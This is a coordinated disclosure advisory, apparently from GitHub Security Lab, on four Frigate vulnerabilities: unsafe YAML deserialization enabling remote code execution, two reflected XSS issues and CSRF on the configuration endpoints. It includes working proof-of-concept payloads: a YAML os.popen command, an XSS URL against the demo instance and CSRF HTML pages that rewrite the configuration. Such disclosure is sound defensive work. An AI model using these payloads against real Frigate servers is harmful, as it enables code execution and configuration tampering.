Coordinated Disclosure Timeline

Summary

  • Unsafe deserialization in load_config_with_no_duplicates of frigate/util/builtin.py (GHSL-2023-190)

    • An unsafe deserialization vulnerability was identified in the endpoints used to save configurations for Frigate. This can lead to unauthenticated remote code execution. This can be performed through the UI at /config or through a direct call to /api/config/save.
  • Reflected XSS through /<camera_name> API endpoints (GHSL-2023-195)

    • There is a reflected XSS vulnerability in any API endpoints reliant on the /<camera_name> base path as values provided for the path are not sanitized.
  • Cross-site request forgery vulnerability in config_save and config_set request handlers (GHSL-2023-198)

    • The config/save and config/set endpoints of Frigate do not implement any CSRF protection. This makes it possible for a request sourced from another site to update the configuration of the Frigate server (e.g. via ““drive-by” attack).
  • Cross-site scripting in /logs/<service> endpoint (GHSL-2023-209)

    • The logs/<service> endpoint permits a user to retrieve logs from specified services (nginx, go2rtc, frigate), however if the user specifies a service that is not in that list this endpoint should return an error stating that the service is unavailable. The returned data is the default content-type of text/html and is unsanitized. As such, this permits the injection of javascript payloads.

      • Please note that this is not currently exploitable due to a separate bug, however if/when that is resolved it will permit this XSS vulnerability to be exploited. The bug preventing this can be found in the if statement that wraps this error message. This should presumable read if not service_location or if service not in log_locations.

Project

Frigate

Tested Version

Details

Issue 1: Unsafe deserialization in load_config_with_no_duplicates of frigate/util/builtin.py (GHSL-2023-190)

Input is initially accepted through http.py at frigate/http.py:998:

@bp.route("/config/save", methods=["POST"])
def config_save():
    save_option = request.args.get("save_option")

    new_config = request.get_data().decode()

The user-provided input is then parsed and loaded by load_config_with_no_duplicates at frigate/config.py:1244:

@classmethod
def parse_raw(cls, raw_config):
    config = load_config_with_no_duplicates(raw_config)
    return cls.parse_obj(config)

However, load_config_with_no_duplicates uses yaml.loader.Loader which can instantiate custom constructors. A provided payload will be executed directly at frigate/util/builtin.py:110:

PreserveDuplicatesLoader.add_constructor(
    yaml.resolver.BaseResolver.DEFAULT_MAPPING_TAG, map_constructor
)
return yaml.load(raw_config, PreserveDuplicatesLoader)

This vulnerability was found using CodeQL’s Deserialization of user-controlled data query for Python.

Impact

This issue may lead to pre-authenticated Remote Code Execution.

Proof of Concept:

  1. Start Frigate in Docker for ease of setup.
  2. Navigate to localhost:5000/config.
  3. Enter the following content into the config, and save the configuration:
!!python/object/apply:os.popen
- touch /tmp/pwned
  1. Note that /tmp/pwned is created in the container. This access can also be extended to write to mounted filesystems if not mounted as read-only.

Resources

Issue 2: Reflected XSS through /<camera_name> API endpoints (GHSL-2023-195)

The recording_clip request handler returns an unescaped/unsanitized string based on the camera_name requested in the route that calls it. As a result of this, reflected XSS is possible.

By calling a camera that does not exist, we can force a failure response that will return the requested value. Note that this is response will use Flask’s default content-type of text/html:

if p.returncode != 0:
  logger.error(p.stderr)
  return f"Could not create clip from recordings for {camera_name}.", 500

As an example, we can trigger an XSS payload using the official demo instance with the following GET request executed in a browser:

GET https://demo.frigate.video/api/%3Cimg%20src=%22%22%20onerror=alert(document.domain)%3E

This vulnerability was found using CodeQL’s Reflected server-side cross-site scripting for Python.

Impact

As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.

Resources

Issue 3: Cross-site request forgery vulnerability in config_save and config_set request handlers (GHSL-2023-198)

When provided with a POST request containing the save_option parameter, the config_save request handler will attempt to write the user-supplied configuration in the request body to the configuration file on disk. Similarly, when provided with a PUT request the config_set request handler will attempt to update the existing configuration file with the user-supplied values specified as variables in the URL.

As these endpoints do not have any CSRF protection or authentication requirement this permits a request from any origin (e.g. a “drive-by” attack) to update the configuration of the Frigate server.

Proof of Concept
  1. Start Frigate following the Docker instructions using the example config.yml file.
  2. Host an HTML file with the following contents anywhere accessible from your local machine:
<html>
<script>
function pwnd()
{
        let xhr = new XMLHttpRequest();
        xhr.open("POST", "http://<FRIGATE_SERVER>:5000/api/config/save?save_option=saveonly");

        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};
let data = `mqtt:
  host: mqtt

cameras:
  pwnd:
    ffmpeg:
      inputs:
        - path: /media/frigate/car-stopping.mp4
          input_args: -re -stream_loop -1 -fflags +genpts
          roles:
            - detect
            - rtmp
    detect:
      height: 1080
      width: 1920
      fps: 5`;

        xhr.send(data);
        console.log("pwnd");
}

pwnd();
</script>
</html>
  1. Access the new page (e.g. http://<YOUR_WEB_SERVER_HOST>/poc.html).
  2. Note that the configuration of the Frigate service has been updated to now have a camera named pwnd instead of test.

This can also be performed against the config/set endpoint with the same setup outlined above, but the following poc.html which will update the mqtt.host value to pwnd:

<html>
<script>
        function pwn() {
        let xhr = new XMLHttpRequest();
        xhr.open("PUT", "http://<FRIGATE_SERVER>:5000/api/config/set?mqtt.host=pwnd");

        xhr.onreadystatechange = function () {
                  if (xhr.readyState === 4) {
                              console.log(xhr.status);
                              console.log(xhr.responseText);
                            }};


        xhr.send();
        }
pwn();
</script>
</html>

This demonstrates that requests from any origin can result in arbitrary writes to Frigate’s configuration.

Impact

This issue can lead to arbitrary configuration updates for the Frigate server, resulting in denial of service and possible data exfiltration.

Resources

Issue 4: Cross-site scripting in /logs/<service> endpoint (GHSL-2023-209)

The following error message is returned with a content type of text/html and the values are fully user controlled and unsanitized.

return f"{service} is not a valid service", 404

This permits an attacker to craft a URL to a service that is not in the valid log_locations and that instead contains a javascript payload for XSS purposes.

This was identified with CodeQL’s Reflected server-side cross-site scripting query.

Impact

As the reflected values included in the URL are not sanitized or escaped, this permits execution arbitrary Javascript payloads.

Resources

CVE

  • CVE-2023-45672
  • CVE-2023-45671
  • CVE-2023-45670

Credit

This issue was discovered and reported by GHSL team members @maclarel (Logan MacLaren) and @jorgectf (Jorge Rosillo).

Contact

You can contact the GHSL team at securitylab@github.com, please include a reference to GHSL-2023-190, GHSL-2023-195, GHSL-2023-198, or GHSL-2023-209 in any communication regarding this issue.